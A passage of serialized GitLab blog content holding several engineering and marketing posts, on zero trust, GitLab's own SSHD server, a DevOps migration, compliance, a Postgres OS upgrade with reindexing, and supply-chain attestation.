}",{"title":12982,"description":12983,"authors":12988,"heroImage":12984,"date":12989,"body":12990,"category":674,"tags":12991},[3281],"2022-08-17","\n\nWhen the concept of zero trust was first [introduced in 2010 by Forrester Research](https://media.paloaltonetworks.com/documents/Forrester-No-More-Chewy-Centers.pdf), it seemed directly aimed at enterprise security professionals, who were struggling to keep the network perimeter safe from breaches and attacks. As enterprises and zero trust frameworks have evolved, DevOps has become the perfect home for these principles.\n\nZero trust requires all users – human and machine, internal or external – to be authenticated, authorized, and continuously validated to first access and continue to access resources. These requirements are fully aligned with modern application development and the advent of DevSecOps, where security continues to shift left in the development life cycle.\n\nIn 2019, GitLab Staff Security Engineer [Mark Loveless](/company/team/#mloveless) began to examine the [opportunities in marrying DevOps and zero trust](/blog/evolution-of-zero-trust/). Much has changed since then, including a greater acceptance, adoption, and, in some cases, requirement of zero trust frameworks. For instance, in its [executive order on cybersecurity](https://www.whitehouse.gov/briefing-room/presidential-actions/2021/05/12/executive-order-on-improving-the-nations-cybersecurity/), the Biden administration referenced zero trust and the National Institute of Standards and Technology (NIST) called out zero trust architecture as an approach to its [Secure Software Development Framework](/blog/comply-with-nist-secure-supply-chain-framework-with-gitlab/) standard.\n\n## Addressing zero trust confusion\n\nAs zero trust strategies have become more popular, confusion in the market has increased. For instance, zero trust is not a single product or service – it is a strategy applied to a security framework.\n\n“Companies are marketing their zero trust solutions as _THE_ solution. They claim that zero trust solves everything wrong and you’ll be secure. No single solution out there addresses all of the authentication problems that organizations encounter,” Loveless says.\n\nAnother point of confusion, according to Loveless, is the fact that some early zero-trust backers have not evolved with zero trust itself. “The core beginnings of zero trust go back a couple of decades, originally centered around users and specific systems. There is an entire world of newer technology, including the cloud, automation, and AI, that has emerged since then that is out there and completely underrepresented in approaches to zero trust,” he says.\n\n## How zero trust fits into modern DevOps\n\nZero trust has three core components that must be fully understood to be able to map it to modern application development:\n\n- Data must be protected. Before the data can be accessed, the identity of who or what (in the case of automation) is accessing the data needs to be determined and a decision has to be made as to whether that access will be granted.\n\n- The identity must be extremely specific. The requestor must be proven, preferably by cryptographic means, to be who or what they say they are.\n\n- A secure channel for accessing the data must be able to be established. After authentication, data in transit should be protected by a secure channel and that data should only be revealed to the requestor.\n\nWhere zero trust strategies often go astray is assuming that the requestor is human. As automation becomes more prevalent in DevOps, DevSecOps must account for the likelihood that a requestor could be automated. But this inevitably raises questions, according to Loveless, such as:\n\n- Is the automated request coming from a trusted device?\n- Who initiated the action that led to the automated process requesting the data?\n- Was it an automated process that kicked off a secondary automated process that is now requesting the data?\n- Does the person that set up the automated processes still have access to these processes’ credentials?\n\nLoveless says organizations might need to rethink their authentication and authorization approaches to get the most out of the DevOps-zero trust pairing because automation requires a greater level of sophistication. “Mutual authentication strategies like managing your own certificate authority or setting up mutual TLS can be challenging,” Loveless says. Instead, organizations might consider [implementing automated multifactor authentication tools such as OpenID Connect](https://docs.gitlab.com/ee/integration/openid_connect_provider.html). “One solution might negate another solution, or solving for one cloud provider might exclude another, creating limits,” he says.  \n\n## How GitLab’s DevOps Platform supports zero trust\n\nGitLab’s cohesion with zero trust stems largely from its belief that it is not a single solution to zero trust, but instead part of an ecosystem in support of zero trust principles. \n\nOrganizations can utilize GitLab to enact its zero trust framework, including the ability to:\n- set and enforce granular role-based access for all users and machines\n- authenticate users and machines before allowing access\n- require continuous authentication and authorization\n- monitor the security status of users and machines and quickly respond to issues\n- classify data and set and enforce access levels accordingly\n- audit data access in real-time and generate compliance reports\n\n## Going forward\n\nGitLab’s commitment to zero trust is foundational and ongoing. As zero trust frameworks evolve and more standards bodies require adherence to zero trust principles, GitLab will continue to be a trusted partner in meeting these demands.\n\nCover image by Max Tcvetkov on [Unsplash](https://unsplash.com/@your_scorpion?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText)\n{: .note}\n\n",[4103,674,754],{"slug":12993,"featured":6,"template":678},"why-devops-and-zero-trust-go-together","content:en-us:blog:why-devops-and-zero-trust-go-together.yml","Why Devops And Zero Trust Go Together","en-us/blog/why-devops-and-zero-trust-go-together.yml","en-us/blog/why-devops-and-zero-trust-go-together",{"_path":12999,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":13000,"content":13005,"config":13009,"_id":13011,"_type":16,"title":13012,"_source":17,"_file":13013,"_stem":13014,"_extension":20},"/en-us/blog/why-we-have-implemented-our-own-sshd-solution-on-gitlab-sass",{"title":13001,"description":13002,"ogTitle":13001,"ogDescription":13002,"noIndex":6,"ogImage":9591,"ogUrl":13003,"ogSiteName":1180,"ogType":1181,"canonicalUrls":13003,"schema":13004},"Why we implemented our own SSHD solution","Until recently we used OpenSSH Server to handle SSH connections to provide SSH-related features, but we ultimately decided to implement our own SSHD solution. Learn more!","https://about.gitlab.com/blog/why-we-have-implemented-our-own-sshd-solution-on-gitlab-sass","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Why we implemented our own SSHD solution\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Igor Drozdov\"}],\n        \"datePublished\": \"2022-08-17\",\n      }",{"title":13001,"description":13002,"authors":13006,"heroImage":9591,"date":12989,"body":13007,"category":734,"tags":13008},[6880],"\n\nThe story of why we moved to our own SSHD is an interesting one. GitLab provides [a number of features](https://gitlab.com/gitlab-org/gitlab-shell/-/blob/main/doc/features.md) that execute via an SSH connection. The most popular one is Git-over-SSH, which enables communicating with a Git server via SSH. Historically, we implemented the features through a combination of OpenSSH Server and a separate component, a binary called GitLab Shell. GitLab Shell processes every connection established by OpenSSH Server to communicate data back and forth between the SSH client and the Git server. The solution was battle-tested, and relied on a trusted component such as OpenSSH. Here's why we decided to implement our own SSHD.\n\n## Community contribution\n\n[Everyone can contribute at GitLab](/company/mission/#mission)! A [community contribution](https://gitlab.com/gitlab-org/gitlab-shell/-/merge_requests/394) from [@lorenz](https://gitlab.com/lorenz), `gitlab-sshd`, was suggested as a lightweight alternative to our existing setup. A self-contained binary with minimal external dependencies would be beneficial for containerized deployments. A GitLab-supported replacement also opened up new opportunities:\n\n- PROXY protocol support to enable [Group IP address restriction via SSH](https://gitlab.com/gitlab-org/gitlab/-/issues/271673): Group IP address restriction didn’t work for the Gitlab Shell + OpenSSH solution, because OpenSSH didn't provide PROXY protocol support. As a result, Gitlab Shell couldn't see the real users’ IP addresses. We had to either use a patched version of OpenSSH, or implement our own solution to support the PROXY protocol. Then, with our own solution, we could enable PROXY protocol, receive the real IP addresses of users, and provide Group IP address restriction functionality.\n- Kubernetes compatibility with graceful shutdown, liveness, and readiness probes: With OpenSSH, we had no control over established connections. When Kubernetes pods were rotated, all the ongoing connections were immediately dropped, and thus could interrupt long-running `git clone` operations. With a dedicated server, the connections now become manageable and can be shut down gracefully: the server listens for an interrupting signal and, when the signal is received, stops accepting new connections and waits for a grace period before shutting down completely. This grace period gives ongoing connections an opportunity to finish.\n- Prometheus metrics and profiling became possible: In our previous approach, Gitlab Shell was just a binary that created a process that lived as long as the SSH connection lived. This approach didn’t provide a straightforward way to run a metrics server. With a dedicated server, we can now collect metrics and implement detailed logging for monitoring and debugging purposes.\n- Performance and resource usage is significantly lower in some scenarios: Lightweight goroutines are cheaper than spawning a separate process for every SSH connection. Spawning separate processes performed better in basic cases, but our real-world scenarios didn't demonstrate a drastic performance improvement. However, with `gitlab-sshd` it became possible to introduce a Go profiler to surface performance problems, which was a significant improvement from an operating perspective.\n- Reduced attack surface by using only a restricted set of SSH implementation features: With the previous approach, we allowed establishing an SSH connection to the OpenSSH server, but restricted it to a specific feature set. With `gitlab-sshd`, any unpredictable call to an OpenSSH feature that we don’t support is no longer possible, dramatically reducing the attack surface.\n- Simplified architecture is now easier to understand:\n\n### The previous architecture\n\n![Old architecture](https://about.gitlab.com/images/blogimages/create-source-code/gitlab-sshd/old-architecture.png)\n\n### Our current architecture\n\n![New architecture](https://about.gitlab.com/images/blogimages/create-source-code/gitlab-sshd/new-architecture.png)\n\n## Risks and challenges\n\nHowever, changing a critical component that is broadly used, and is responsible for security, carries tremendous risks. We experienced both challenges and risks:\n\n- **Security perspective**: An SSH server is a critical component; it establishes a secure connection between a user and a server, and allows them to communicate privately. Any failures could open security holes, permitting anything from authentication bypass to remote code execution. To mitigate the risks, we performed multiple rounds of security reviews – before the development (by examining the used components), during the development, and after the working versions of the code were deployed to staging environments.\n- **Operational perspective**: The component is broadly used. Any failures would affect a vast number of users. To mitigate the risks, we rolled the changes out gradually to 1%, 5%, etc. of the traffic, and rolled back if a problem was encountered. After 8 attempts, we had the server successfully running for 100% of traffic!\n\n## Problems we encountered\n\nA component with a scope this broad could have a wide range of problems. We encountered, and resolved, the following problems:\n\n- **Incompatibility with other in-progress features:** Our first `gitlab-sshd` deployment consumed huge amounts of memory. It interacted negatively with another feature under development at the same time. We must always keep the interaction with other components in mind when introducing a general component.\n- **Limited feature set in the `golang.org/x/crypto` library:** This library establishes SSH connection, and has limited support for algorithms and features available in OpenSSH. We created [our own fork](https://gitlab.com/gitlab-org/golang-crypto) to provide the missing features:\n  - The OpenSSH client has deprecated SHA-1 based signatures in host certificates in version 8.2 because of safety reasons; however, backward compatibility is provided by the `server-sig-algs` extension, but [`golang.org/x/crypto`](https://pkg.go.dev/golang.org/x/crypto) didn't support it. We [started supporting](https://gitlab.com/gitlab-org/golang-crypto/-/merge_requests/1) this extension.\n  - Some MACs and key exchange algorithms are unsupported: `hmac-sha2-512` and `hmac-sha2-256` are the most noticeable. We [started supporting](https://gitlab.com/gitlab-org/golang-crypto/-/merge_requests/4) these algorithms.\n  - Buggy SSH clients, such as `gpg-agent v2.2.4` and `OpenSSH v7.6` shipped in `Ubuntu 18.04`, might send `ssh-rsa-512` as the public key algorithm but actually include a `rsa-sha` signature. We had to [relax the RSA signature check](https://gitlab.com/gitlab-org/golang-crypto/-/merge_requests/9) to resolve this issue.\n- **Re-implementing options available in OpenSSH:** Familiar OpenSSH options like `LoginGraceTime` and `ClientAliveInterval` were unavailable, so we implemented multiple alternatives to preserve the features we needed.\n\n## Lessons learned\n\nUnfortunately, issues became visible on production environment, thanks both to the load and the variety of possible OpenSSH configurations. Even though we caught some bugs on our staging environments, predicting all types of problems was almost impossible. However, these actions helped us resolve the issues:\n\n- **Incremental rollouts:** The rollout plan proved to be extremely effective. It enabled us to iterate without disrupting service to most users.\n- **Seeking multiple perspectives:** We sought a diverse set of opinions from a variety of groups, such as Security, Infrastructure, Quality and Scalability. It helped us to evaluate the project from multiple perspectives, mitigate the risks, and prevent the majority of issues from happening.\n\n",[6962,674],{"slug":13010,"featured":6,"template":678},"why-we-have-implemented-our-own-sshd-solution-on-gitlab-sass","content:en-us:blog:why-we-have-implemented-our-own-sshd-solution-on-gitlab-sass.yml","Why We Have Implemented Our Own Sshd Solution On Gitlab Sass","en-us/blog/why-we-have-implemented-our-own-sshd-solution-on-gitlab-sass.yml","en-us/blog/why-we-have-implemented-our-own-sshd-solution-on-gitlab-sass",{"_path":13016,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":13017,"content":13023,"config":13028,"_id":13030,"_type":16,"title":13031,"_source":17,"_file":13032,"_stem":13033,"_extension":20},"/en-us/blog/eight-steps-to-prepare-your-team-for-a-devops-platform-migration",{"title":13018,"description":13019,"ogTitle":13018,"ogDescription":13019,"noIndex":6,"ogImage":13020,"ogUrl":13021,"ogSiteName":1180,"ogType":1181,"canonicalUrls":13021,"schema":13022},"8 Steps to prepare your team for a DevOps platform migration","Getting teams ready enables them to migrate with more confidence and ease. Here's how to get started.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749663786/Blog/Hero%20Images/craftsman-looks-at-continuous-integration.jpg","https://about.gitlab.com/blog/eight-steps-to-prepare-your-team-for-a-devops-platform-migration","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"8 Steps to prepare your team for a DevOps platform migration\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sharon Gaudin\"}],\n        \"datePublished\": \"2022-08-16\",\n      }",{"title":13018,"description":13019,"authors":13024,"heroImage":13020,"date":13025,"body":13026,"category":962,"tags":13027},[3907],"2022-08-16","\nWhen organizations are getting ready to [move to a DevOps platform](https://page.gitlab.com/migrate-to-devops-guide.html), taking the time to get IT teams prepped for the migration will mean people can make the transition with more confidence and efficiency.\n\nBy [replacing a complicated mix of DevOps tools](/topics/devops/use-devops-platform-to-avoid-devops-tax/) with a single, end-to-end DevOps platform, you are about to change the way people work in a fundamental way. That will bring many benefits, like cutting tool-management costs, [increasing security](/blog/one-devops-platform-can-help-you-achieve-devsecops/), speeding software creation and deployment, and [replacing silos with a collaborative environment](/blog/5-ways-collaboration-boosts-productivity-and-your-career/). But any kind of change can create anxiety. By reaching out to people as part of your migration prep, managers can calm those stresses, create champions for the adoption, and ease the work that’s to come. \n\nLet’s look at what IT leaders can do to ease this transition for everyone.\n\n## Build buy-in\n\nStarting at the VP and CIO level, create organization-wide buy-in for this migration. This will be a wide-reaching project so everyone from the C-suite on down needs to be on board. Help them understand the importance of making this move. It’s not about adding a new tool – it’s about improving the way software development works overall, so make sure everyone is invested _from the beginning_. “Management and DevOps teams both need to understand that not migrating will ultimately take up more time and energy because they’d be forced to continue time-consuming glue work and duct taping to keep the toolchain stitched together,\" says [Brendan O’Leary](/company/team/#brendan), staff developer evangelist at GitLab. “People will be doing a lot less of that after a migration.”\n\n> Join us at [GitLab Commit 2022](/events/commit/) and connect with the ideas, technologies, and people that are driving DevOps and digital transformation.\n\n## Find champions\n\nEarly in the process, find your innovators and migration champions. Talk with people on every team to figure out who is excited about adopting a DevOps platform. These people will be critical. Empower them to lead the charge by allowing them to be the first to migrate with your full, visible support. Then their migration successes will serve as inspiration for those less excited to make the move.\n\n## Ease tension\n\nRemember that change makes people nervous and be sensitive to that. Get ahead of any anxieties by laying out how continuing on with their existing (and ever-expanding) [toolchains will only suck up more of their time and efforts](/blog/the-journey-to-a-devops-platform/) because they’ll have to remain focused on juggling a tangle of tools, instead of actually turning plans into software. Toolchains are not the fun part of their jobs, and they’ll be letting go of that.\n\n## Set expectations\n\nTalk with workers about what this will mean for them individually. Reassure them that this does not mean their jobs will be eliminated. However, it will change their day-to-day responsibilities since they’ll be doing less feeding and watering of disparate tools. That will give them more time to take on bigger, more valuable and more interesting projects. Developers, in particular, want to [work on projects that matter](/blog/why-software-developer-job-satisfaction-matters-and-how-to-make-it-happen/). Decreasing the toolchain red tape will be a huge step towards increased job satisfaction. \n\n## Define roles\n\nNot everyone on every team will work on the migration. Some will need to keep software development and deployment moving along, while others work on the adoption. Make it clear to individual team members what their roles will be. They’ll automatically be more at ease if it’s clear what their migration responsibilities will be.\n\n## Plan for training\n\nAssure everyone there will be training. They won’t just be thrown into the deep end of the pool. Make sure they know you will be setting them up for success.\n\n## Create sample projects\n\n[Fatima Sarah Khalid](/company/team/#sugaroverflow), a developer evangelist at GitLab, says that even before a migration even begins, managers should ensure their team members are ready to use a DevOps platform to do everything from planning to testing, and pushing software iterations through to production. “Managers should think about having a sample project set up with issues and epics. Set up workflows and merge requests. Run it all through,” says Khalid. “Getting hands-on experience before the migration will get rid of anyone’s fear that they’ll break something.”\n\n## Lay out the benefits\n\nMake sure everyone understands the benefits of using a DevOps platform:\n\n- Your business will be able to quickly, securely, and efficiently turn a vision into software.\n\n- Working in isolated silos will be replaced with working in tandem with teammates, [collaborating, and sharing information and responsibilities](/blog/if-its-time-to-learn-devops-heres-where-to-begin/).\n\n- A single application will give an overarching view of projects, enabling teams to check in on, comment on and offer suggestions on projects as they move through the development lifecycle.\n\n- Security and compliance will increase as it will be built into every step of the development and deployment lifecycle.\n\n- [Built-in automation](/blog/want-faster-releases-your-answer-lies-in-automated-software-testing/) will reduce repetitive hands-on work with everything from testing to documentation.\n\nBy preparing teams to make the move to a DevOps platform, the entire migration process will be easier and more efficient. For more information on transitioning to an end-to-end platform, [check out this ebook](https://page.gitlab.com/migrate-to-devops-guide.html).\n",[4103,110,2368],{"slug":13029,"featured":6,"template":678},"eight-steps-to-prepare-your-team-for-a-devops-platform-migration","content:en-us:blog:eight-steps-to-prepare-your-team-for-a-devops-platform-migration.yml","Eight Steps To Prepare Your Team For A Devops Platform Migration","en-us/blog/eight-steps-to-prepare-your-team-for-a-devops-platform-migration.yml","en-us/blog/eight-steps-to-prepare-your-team-for-a-devops-platform-migration",{"_path":13035,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":13036,"content":13041,"config":13046,"_id":13048,"_type":16,"title":13049,"_source":17,"_file":13050,"_stem":13051,"_extension":20},"/en-us/blog/the-importance-of-compliance-in-devops",{"title":13037,"description":13038,"ogTitle":13037,"ogDescription":13038,"noIndex":6,"ogImage":11805,"ogUrl":13039,"ogSiteName":1180,"ogType":1181,"canonicalUrls":13039,"schema":13040},"The importance of compliance in DevOps","A basic understanding of what compliance means and how it impacts DevOps.","https://about.gitlab.com/blog/the-importance-of-compliance-in-devops","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"The importance of compliance in DevOps\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Lauren Minning\"}],\n        \"datePublished\": \"2022-08-15\",\n      }",{"title":13037,"description":13038,"authors":13042,"heroImage":11805,"date":13043,"body":13044,"category":674,"tags":13045},[12854],"2022-08-15","\n\nDevOps teams must develop secure software, but a key part of security is compliance. Achieving compliance can be time-consuming, stressful, and resource intensive, but it’s increasingly a job DevOps teams – and developers specifically – are being asked to bake into their processes. \n\nHere’s a look at how compliance in DevOps works.\n\n## It starts with standards\n\nOrganizations of all sizes rely on nationally or internationally recognized standards to prove their security postures to customers, partners, and shareholders. Companies need to create systems that streamline compliance with a potentially large number of standards, such as [NIST](https://www.nist.gov), [ISO](https://www.iso.org/home.html), [SLSA levels](https://slsa.dev/spec/v0.1/index), [GDPR](https://gdpr-info.eu), [SOX](https://en.wikipedia.org/wiki/Sarbanes–Oxley_Act), [SOC2](https://us.aicpa.org/interestareas/frc/assuranceadvisoryservices/aicpasoc2report), [PCI DSS](https://www.pcisecuritystandards.org), [HIPAA](https://www.cdc.gov/phlp/publications/topic/hipaa.html), and [HITECH](https://www.hhs.gov/hipaa/for-professionals/special-topics/hitech-act-enforcement-interim-final-rule/index.html). At GitLab, we know exactly how difficult this is as we went through the [SOC 2 compliance process](/blog/benefits-of-transparency-in-compliance/) ourselves, as well as many other compliance initiatives.\n\nPreviously, tackling compliance requirements involved spreadsheets, checklists, and cross-functional teams of people digging for data. Being certified compliant was critical to a business, but not critical enough to codify and streamline the process... and that was before the advent of the cloud where the data could literally be anywhere and everywhere.\n\n“It's incredibly difficult to know if you’ve done the right things to stay secure and compliant, especially in an increasingly complex environment of cloud-native applications, infrastructure-as-code, microservices, and more open source components,” explains Dave Steer, GitLab vice president of product and solutions marketing.\n\nThat's where automation, cooperation, and collaboration -- and DevOps -- come in.\n\n## Creating cohesion\n\nIt’s well known how developers and security pros have [struggled to find common ground](/blog/developer-security-divide/) around secure software development and compliance is one step further down an already rocky path of cooperation. But embedding compliance in DevOps can happen with the right mix of culture and technology. To start, it’s important to decide which standards apply to your organization and if compliance will be kept separate from security, or integrated as part of the same team. Either way, security and compliance work together by one feeding into the other. Compliance sets the parameters for meeting regulatory requirements and security executes the actions to meet those requirements. \n\nAnd that’s when the fun can really begin. The “beating heart” of DevOps is automation and if ever there is a process that is crying out to be automated and literally built into DevOps it’s compliance. There are three main ways DevOps teams can streamline the compliance process:\n\n- **Make compliance standards part of the CI/CD pipeline.** While this might not work for every compliance requirement, it eliminates the need for a manual checklist and provides a clear audit trail and a hard stop if there’s an issue because the pipeline will fail.\n\n- **Leverage containers.** When teams are certain a process or technology is compliant, it can be made into a container image. Over time, these “Golden Images” as [Martin Fowler refers to them](https://martinfowler.com/articles/devops-compliance.html) can be assembled as guiding lights of compliance.\n\n- **Establish a system of record, or SOR.** An SOR will allow a DevOps team to track compliance just before a change is made to the code or the process.\n\n## Is your software supply chain secure?\n\nAs we continue to navigate an always-evolving modern DevOps environment, it’s important to be aware that compliance and security are coming together under one primary theme moving forward: software supply chain security.\n\n[Software supply chain security](/blog/gitlab-supply-chain-security/) is fast becoming the compliance and security umbrella which is supported by security scanning, policy automation/guardrails, [securing the software factory itself](/blog/elite-team-strategies-to-secure-software-supply-chains/), and common controls embedded within the software factory. \n\nCombined with continuous maintenance of compliance and security regulations, automated DevOps practices have the potential to help discover security and compliance issues faster and address threats more quickly and effectively. \n\nIt's imperative that organizations understand how to comply with required regulations. Learn how GitLab helps organizations achieve [continuous compliance](/solutions/compliance/) and about our [software supply chain security direction](/direction/supply-chain/).\n",[4103,674,1268],{"slug":13047,"featured":6,"template":678},"the-importance-of-compliance-in-devops","content:en-us:blog:the-importance-of-compliance-in-devops.yml","The Importance Of Compliance In Devops","en-us/blog/the-importance-of-compliance-in-devops.yml","en-us/blog/the-importance-of-compliance-in-devops",{"_path":13053,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":13054,"content":13059,"config":13065,"_id":13067,"_type":16,"title":13068,"_source":17,"_file":13069,"_stem":13070,"_extension":20},"/en-us/blog/upgrading-database-os",{"title":13055,"description":13056,"ogTitle":13055,"ogDescription":13056,"noIndex":6,"ogImage":9591,"ogUrl":13057,"ogSiteName":1180,"ogType":1181,"canonicalUrls":13057,"schema":13058},"We are upgrading the operating system on our Postgres database clusters","Learn when these upgrades will happen and how they will help boost performance and reliability on GitLab.com.","https://about.gitlab.com/blog/upgrading-database-os","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"We are upgrading the operating system on our Postgres database clusters\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"David Smith\"}],\n        \"datePublished\": \"2022-08-12\",\n      }",{"title":13055,"description":13056,"authors":13060,"heroImage":9591,"date":13062,"body":13063,"category":734,"tags":13064},[13061],"David Smith","2022-08-12","\nContinuing on the theme of [improving the performance and reliability of GitLab.com](/blog/path-to-decomposing-gitlab-database-part1/), we have another step we will be taking for our clusters of Postgres database nodes. These nodes have been running on Ubuntu 16.04 with extended security maintenance patches and it is now time to get them to a more current version. Usually, this kind of upgrade is a behind-the-scenes event, but there is an underlying technicality that will require us to take a maintenance window to do the upgrade (more on that [below](#the-challenge)).\n\nWe have been preparing for and [practicing this upgrade](https://gitlab.com/gitlab-com/gl-infra/production/-/issues/7577) and are now ready to schedule the window to do this work for GitLab.com.\n\n## When will the OS upgrade take place and what does this mean for users of GitLab.com?\n\nThis change is planned to take place on 2022-09-03 (Saturday) between 11:00 UTC and 14:00 UTC. The implementation of this change is anticipated to include a **service downtime of up to 180 minutes** (see [reference issue](https://gitlab.com/gitlab-com/gl-infra/production/-/issues/7543)). During this time you will experience complete service disruption of GitLab.com.\n\nWe are taking downtime to ensure that the application works as expected following the OS upgrade and to minimize the risk of any data integrity issues.\n\n> Join us at [GitLab Commit 2022](/events/commit/) and connect with the ideas, technologies, and people that are driving DevOps and digital transformation.\n\n## Background\n\nGitLab.com's [database architecture](/handbook/engineering/infrastructure/production/architecture/#database-architecture) uses two Patroni/Postgres database clusters: main and CI. We recently did functional decomposition and now the CI Cluster stores the data generated by CI GitLab features. Each Patroni cluster has primary and multiple read-only replicas. For each of the Patroni clusters, the Postgres database size is ~18 TB running on Ubuntu 16.04. During the scheduled change window, we will be switching over to our newly built Ubuntu 20.04 clusters.\n\n## The challenge\n\nUbuntu 18.10 introduced an updated version of glibc (2.28), which includes a [major update to locale data](https://wiki.postgresql.org/wiki/Locale_data_changes) and causes Postgres indexes created with earlier versions of glibc to be corrupted. Because we are upgrading to Ubuntu 20.04, our indexes are affected by this. Therefore, during the downtime window scheduled for this work, we need to detect potentially corrupt indexes and have them reindexed before we enable production traffic again. We currently have the following types and the approximate number of indexes:\n\n```\n Index Type | # of Indexes\n------------+--------------\n btree      |         4079\n gin        |          101\n gist       |            3\n hash       |            1\n```\n\nAs you can appreciate, given the sheer number (and size) of these indexes, it would take far too long to reindex every single index during the scheduled downtime window, so we need to streamline the process.\n\n## Options to upgrade to Ubuntu 20.04 safely\n\nThere are a number of ways to deal with the problem of potentially corrupt indexes:\n\na. Reindex **all** indexes during the scheduled downtime window\n\nb. Transport data to target 20.04 clusters in a logical (not binary) way, including:\n\n  - Backups/upgrades using pg_dump\n  - Logical replication\n\nc. Use streaming replication from 16.04 to 20.04 and during the downtime window, break replication and promote the 20.04 clusters followed by reindexing of potentially corrupt indexes\n\nIt might be feasible for a small to a medium-size Postgres implementation to use options a or b; however, at the GitLab.com scale, it would require a much larger downtime window and our aim is to reduce the impact to our customers as much as possible.\n\n## High-level approach for the OS upgrade\n\nTo perform an OS upgrade on our Patroni clusters, we use Postgres streaming replication to replicate data from our current Ubuntu 16.04 clusters to the brand new Ubuntu 20.04 standby Patroni clusters. During the scheduled downtime window, we will stop all traffic to the current 16.04 clusters, promote the 20.04 clusters by making them Primary and demote the Ubuntu 16.04 clusters by reconfiguring to act as Standby while replicating from the new 20.04 primaries. We will then reindex all the identified potentially corrupt indexes, and update DNS to point the application to the new 20.04 Patroni clusters before opening traffic to the public.\n\n## Identifying potentially corrupt indexes and our approach to handling the reindexing for different types of indexes\n\n### B-Tree\n\nWe use `bt_index_parent_check` [amcheck function](https://www.postgresql.org/docs/12/amcheck.html) to identify potentially corrupt indexes and we will reindex them during the downtime window.\n\n### GiST and Hash\n\nSince we do not have many GiST and Hash indexes, and reindexing them is a relatively quick operation, we will reindex them all during the downtime window.\n\n### GIN\n\nCurrently, the production version of amcheck is limited to detecting potential corruption in B-Tree indexes only. Our GIN indexes are reasonably sized and it would require a significant amount of time to reindex them during the scheduled downtime window, which is not feasible as we cannot have the site unavailable to our customers for that long. We have collaborated closely with our database team to produce a list of business-critical GIN indexes to be reindexed **during** the downtime window, and any other GIN indexes will be reindexed immediately after we open up traffic to the public using the [CONCURRENTLY](https://www.postgresql.org/docs/current/sql-reindex.html#SQL-REINDEX-CONCURRENTLY) option. Using this option means it will take longer to reindex, but it allows normal operations to continue while the indexes are being rebuilt.\n\n## Performance improvements\n\nWe started looking into options to improve the performance of the reindexing (see [reference issue](https://gitlab.com/gitlab-com/gl-infra/reliability/-/issues/15559#note_940517257)). There are a couple of areas where we needed to improve performance.\n\n### Identify potentially corrupt B-Tree indexes quickly\n\nWhen we first started using the amcheck to identify potentially corrupt indexes, it was single threaded so it was taking just under five days to run the amcheck script to identify potentially corrupt indexes on production data. After a few iterations, our amcheck script now runs a separate background worker process for each index, so we essentially get a performance improvement of about 96 times when we use a 96 CPU core VM to run amcheck. The performance is limited by the time it takes to run amcheck on the largest index. The script is customizable to skip or include a specific set of tables/indexes, and we can decide the number of parallel worker processes to use based on the number of CPU cores available on the VM we use to run amcheck. Now with the improved speed, we can run the amcheck script on a copy of production data a day or two before the scheduled OS upgrade downtime window.\n\n### Improve reindexing speed to reduce the downtime\n\nOur initial test to reindex was performed sequentially with the default Postgres parameters. We have tested reindexing with different Postgres parameters and parallelized the reindex process. We are now able to perform our reindexing in less than half the time it used to take to reindex.\n\n## Reading material\n\nFor more information, please see the following links:\n\n- [Ubuntu 20.04 Upgrade Epic](https://gitlab.com/groups/gitlab-com/gl-infra/-/epics/637)\n- [Research on the types of indexes and steps to identify corruption](https://gitlab.com/gitlab-com/gl-infra/reliability/-/issues/15384#note_867281334)\n",[736,1268,4103],{"slug":13066,"featured":6,"template":678},"upgrading-database-os","content:en-us:blog:upgrading-database-os.yml","Upgrading Database Os","en-us/blog/upgrading-database-os.yml","en-us/blog/upgrading-database-os",{"_path":13072,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":13073,"content":13078,"config":13083,"_id":13085,"_type":16,"title":13086,"_source":17,"_file":13087,"_stem":13088,"_extension":20},"/en-us/blog/securing-the-software-supply-chain-through-automated-attestation",{"title":13074,"description":13075,"ogTitle":13074,"ogDescription":13075,"noIndex":6,"ogImage":10675,"ogUrl":13076,"ogSiteName":1180,"ogType":1181,"canonicalUrls":13076,"schema":13077},"Securing the software supply chain through automated attestation","Standards bodies want to know how orgs are protecting against software tampering. Learn how automating compliance attestation can help.","https://about.gitlab.com/blog/securing-the-software-supply-chain-through-automated-attestation","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Securing the software supply chain through automated attestation\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sandra Gittlen\"}],\n        \"datePublished\": \"2022-08-10\",\n      }",{"title":13074,"description":13075,"authors":13079,"heroImage":10675,"date":13080,"body":13081,"category":674,"tags":13082},[3281],"2022-08-10","\nSecuring the software supply chain is not a one-and-done proposition. Instead, organizations, especially those in the public sector, must level up their protections as governing bodies add to their security frameworks. If you need proof of this, look no further than the sudden emergence of attestation requirements.\n\nAttestation is [an authenticated statement](https://slsa.dev/attestation-model) (metadata) about a software artifact or collection of software artifacts. Attestation is a key feature of [SLSA](https://slsa.dev/)(Supply chain Levels for Software Artifacts) Certification Level 2, which requires organizations to protect against software tampering and add minimal build integrity guarantees. The concept of attestation, along with presenting a software bill of materials ([SBOM](https://gitlab.com/groups/gitlab-org/-/epics/858)), is featured prominently in the [NIST Secure Software Development Framework](/blog/comply-with-nist-secure-supply-chain-framework-with-gitlab/) and ISACA’s [Certified Information Security Auditor training](https://www.isaca.org/credentialing/cisa).\n\n“In the past few months and in the wake of high-profile security breaches, the major governing bodies have been laser-focused on attestation and the ability to provide a verified artifact from your continuous integration (CI) pipelines that show you’ve completed all your security scans in a way that would be acceptable and compliant with the standards they set forth,” says [Joel Krooswyk](https://gitlab.com/jkrooswyk), senior manager of solutions architects at GitLab.\n\n“While the government is certainly leading on these requirements, the need for attestation applies to everyone,” says [Sam 